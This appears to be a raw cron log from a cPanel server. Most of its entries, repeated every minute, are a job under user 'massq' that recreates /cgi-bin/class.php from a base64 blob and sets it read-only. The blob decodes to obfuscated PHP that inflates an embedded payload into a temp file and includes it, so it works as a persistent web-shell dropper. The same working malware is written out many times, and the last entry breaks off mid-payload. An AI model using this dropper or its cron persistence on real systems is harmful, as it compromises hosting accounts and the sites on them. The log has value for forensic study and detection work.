Apr 12 09:11:01 server CROND[14353]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:12:01 server CROND[14410]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:12:01 server CROND[14411]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 09:13:01 server CROND[14517]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:14:01 server CROND[14705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:15:01 server CROND[14749]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 09:15:01 server CROND[14750]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:15:01 server CROND[14751]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 09:16:01 server CROND[14867]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:17:01 server CROND[14912]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:18:01 server CROND[14963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:19:01 server CROND[15011]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:20:01 server CROND[15163]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 09:20:01 server CROND[15165]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 09:20:01 server CROND[15164]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 09:20:01 server CROND[15168]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 09:20:01 server CROND[15170]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:21:01 server CROND[15280]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:22:01 server CROND[15335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:23:01 server CROND[15380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 09:24:02 server CROND[15425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaU